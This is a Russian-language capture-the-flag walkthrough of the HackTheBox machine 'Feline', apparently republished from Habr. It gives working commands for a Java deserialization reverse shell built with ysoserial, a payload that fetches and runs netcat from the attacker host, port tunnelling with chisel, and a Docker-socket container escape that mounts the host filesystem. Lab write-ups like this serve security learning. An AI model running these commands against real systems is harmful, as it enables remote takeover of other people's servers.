Русский
Русский
English
Статистика
Реклама

HackTheBox. Прохождение Feline. RCE через сереализацию в Java и LPE через докер сокеты

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;

  • криптография (Crypto);

  • cетевые технологии (Network);

  • реверс(Reverse Engineering);

  • стеганография(Stegano);

  • поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеает IP адрес 10.10.10.205, который я добавляю в /etc/hosts.

10.10.10.205    feline.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Мы имеем 2 открытых порта и, как обычно, идем на веб. Нас встречает форма загрузки файла. В описании сказано, что файл будет запущен.

Плюс ко всему, мы находим уязвимость для данной версии веб сервера.

Как сказано в описании к данной CVE, зная путь к файлу, мы можем выполнить сереализованный java-код.

Entry Point

Просто убрав имя файл, из перехваченного запроса, в ошибке Java мы можем найти путь, по которому загрузится файл.

Для сереализации используем ysoserial. Давайте напишем скрипт для быстрого создания бэкконнекта.

USER

Сначала сам шелл, закодированный в base64.

#!/bin/bash rshell="bash -c 'bash -i >& /dev/tcp/10.10.14.38/4321 0>&1'" code_rshell="bash -c {echo,$(echo -n $rshell|base64)}|{base64,-d}|{bash,-i}"

Теперь сериализуем его.

java -jar /home/ralf/tmp/ysoserial.jar CommonsCollections4 "$code_rshell" > /home/ralf/tmp/r_payload.session 

Загружаем файл.

curl -s -F "data=@/home/ralf/tmp/r_payload.session" http://feline.htb:8080/upload.jsp?email=hackerralf8@gmail.com > /dev/null 

И выполняем бэкконнект.

curl -s http://feline.htb:8080/ -H "Cookie: JSESSIONID=../../../../../../../opt/samples/uploads/r_payload" > /dev/null

Так мы берем пользователя.

Docker ROOT

Для разведки на хосте используем LinPEAS.Мы находим интересные сетевый интерфейсы, говорящие нам о наличии докера и смотрим сетевые соединения.

Получая информацию о каждом используемом локальном порте, останавливаемся на 4506.

И находим PoC для данной CVE. Для того, чтобы его использовать нам нужно туннелировать порт. Сделаем это м помощью chisel. Откроем листенер а локальной машине.

chisel.bin server -p 56765 --reverse

И выполним коннект с удаленного хоста.

chisel.bin client 10.10.14.38:56765 R:4506:127.0.0.1:4506

Как можно заметить, мы туннелируем порт.

Откроем листенер для нового бэкшелла и выполним эксплоит. В качестве нагрузки используем цепочку команд, в которой мы скачиваем с локальной машины netcat и выполняем подключение.

python3 exploit.py --master localhost --exec "wget 10.10.14.38:8000/ncat -O /tmp/ncat; chmod +x /tmp/ncat ; /tmp/ncat -e /bin/bash 10.10.14.38 6543"

И у нас есть рут в докере.

ROOT

Для разведки в докер контейнере используем deepce.

И видим, что есть докер сокет. Давайте получим информацию о контейнере.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json

И мы имеем ID образа. Давайте создадим файл конфигурации по следующему подобию.

{"Image": "188a2704d8b0","Cmd": ["/bin/sh"],"DetachKeys": "Ctrl-p,Ctrl-q","OpenStdin": true,"Mounts": [{"Type": "bind","Source": "/","Target": "/r4lf"}]}

А теперь создаем новый контейнер.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create

Запускаем его и подключаемся к нему, используя Socat.

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/8fa6/startsocatx64.bin - UNIX-CONNECT:/var/run/docker.sock

Далее необходимо отправить следующий пост запрос.

POST /containers/8fa6/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1Host: Connection: Upgrade Upgrade: tcp

Таким образом наша система будем монтирована как /r4lf.

Источник: habr.com
К списку статей
Опубликовано: 21.02.2021 08:04:54
0

Сейчас читают

Комментариев (0)
Имя
Электронная почта

Информационная безопасность

Ctf

Ralf_rt

Pentest

Pentesting

Red team

Redteam

Red teaming

Docker

Компьютерная безопасность

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru